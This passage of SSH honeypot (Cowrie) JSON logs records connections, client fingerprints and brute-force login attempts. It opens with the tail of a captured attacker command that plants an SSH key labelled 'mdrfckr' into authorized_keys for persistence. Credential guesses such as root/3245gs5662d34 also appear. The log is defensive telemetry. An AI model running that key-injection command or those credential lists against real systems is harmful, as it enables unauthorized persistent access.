AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:15.748680Z","src_ip":"40.81.244.142","session":"760dce08af25","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:15.955421Z","src_ip":"40.81.244.142","session":"760dce08af25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:15.959189Z","src_ip":"40.81.244.142","session":"760dce08af25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":49520,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e34ddeb443a","protocol":"ssh","message":"New connection: 40.81.244.142:49520 (10.17.0.5:22) [session: 5e34ddeb443a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:16.160662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:16.165323Z","src_ip":"40.81.244.142","session":"5e34ddeb443a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:16.378373Z","src_ip":"40.81.244.142","session":"5e34ddeb443a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:17.246080Z","src_ip":"40.81.244.142","session":"5e34ddeb443a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:18.460705Z","src_ip":"40.81.244.142","session":"5e34ddeb443a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":49536,"dst_ip":"10.17.0.5","dst_port":22,"session":"e71f7ab45b2f","protocol":"ssh","message":"New connection: 40.81.244.142:49536 (10.17.0.5:22) [session: e71f7ab45b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:18.666265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:18.672094Z","src_ip":"40.81.244.142","session":"e71f7ab45b2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:18.881653Z","src_ip":"40.81.244.142","session":"e71f7ab45b2f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:19.754859Z","src_ip":"40.81.244.142","session":"e71f7ab45b2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:19.967492Z","src_ip":"40.81.244.142","session":"760dce08af25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:19.971822Z","src_ip":"40.81.244.142","session":"e71f7ab45b2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:33.840457Z","src_ip":"123.59.7.18","session":"0bb17240c57a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":56106,"dst_ip":"159.203.135.109","dst_port":22,"session":"1387e6498090","protocol":"ssh","message":"New connection: 193.32.162.151:56106 (159.203.135.109:22) [session: 1387e6498090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:35.341161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:35.345612Z","src_ip":"193.32.162.151","session":"1387e6498090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:35.440333Z","src_ip":"193.32.162.151","session":"1387e6498090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"password","message":"login attempt [mysql/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:35.773326Z","src_ip":"193.32.162.151","session":"1387e6498090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:36.873664Z","src_ip":"193.32.162.151","session":"1387e6498090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":55394,"dst_ip":"10.17.0.5","dst_port":22,"session":"77446af3f462","protocol":"ssh","message":"New connection: 92.118.39.72:55394 (10.17.0.5:22) [session: 77446af3f462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:37.701618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:37.708557Z","src_ip":"92.118.39.72","session":"77446af3f462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:37.807799Z","src_ip":"92.118.39.72","session":"77446af3f462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blockchain","password":"blockchain","message":"login attempt [blockchain/blockchain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:38.114877Z","src_ip":"92.118.39.72","session":"77446af3f462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:39.217794Z","src_ip":"92.118.39.72","session":"77446af3f462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":60224,"dst_ip":"10.17.0.5","dst_port":22,"session":"fce6a71dcb0d","protocol":"ssh","message":"New connection: 2.57.121.112:60224 (10.17.0.5:22) [session: fce6a71dcb0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:57.683562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:57.687847Z","src_ip":"2.57.121.112","session":"fce6a71dcb0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:57.793509Z","src_ip":"2.57.121.112","session":"fce6a71dcb0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03101973","message":"login attempt [admin/03101973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:58.294261Z","src_ip":"2.57.121.112","session":"fce6a71dcb0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03101971","message":"login attempt [admin/03101971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:24:59.402584Z","src_ip":"2.57.121.112","session":"fce6a71dcb0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030882","message":"login attempt [admin/030882] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:00.510766Z","src_ip":"2.57.121.112","session":"fce6a71dcb0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03081973","message":"login attempt [admin/03081973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:01.624557Z","src_ip":"2.57.121.112","session":"fce6a71dcb0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030785","message":"login attempt [admin/030785] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:02.737028Z","src_ip":"2.57.121.112","session":"fce6a71dcb0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:03.847557Z","src_ip":"2.57.121.112","session":"fce6a71dcb0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":34394,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a0d556191c9","protocol":"ssh","message":"New connection: 80.94.92.186:34394 (10.17.0.5:22) [session: 2a0d556191c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:29.962917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:30.233559Z","src_ip":"80.94.92.186","session":"2a0d556191c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:30.237527Z","src_ip":"80.94.92.186","session":"2a0d556191c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:31.102853Z","src_ip":"80.94.92.186","session":"2a0d556191c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:32.300521Z","src_ip":"80.94.92.186","session":"2a0d556191c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":37794,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbfd5c44e497","protocol":"ssh","message":"New connection: 92.118.39.95:37794 (10.17.0.5:22) [session: bbfd5c44e497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:42.765634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:42.770051Z","src_ip":"92.118.39.95","session":"bbfd5c44e497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:42.873900Z","src_ip":"92.118.39.95","session":"bbfd5c44e497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minima","password":"minima","message":"login attempt [minima/minima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:43.193061Z","src_ip":"92.118.39.95","session":"bbfd5c44e497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:44.300452Z","src_ip":"92.118.39.95","session":"bbfd5c44e497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.132.215","src_port":48496,"dst_ip":"10.17.0.5","dst_port":22,"session":"a76292e8571c","protocol":"ssh","message":"New connection: 152.32.132.215:48496 (10.17.0.5:22) [session: a76292e8571c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:44.330487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:44.335545Z","src_ip":"152.32.132.215","session":"a76292e8571c","protocol":"ssh"}
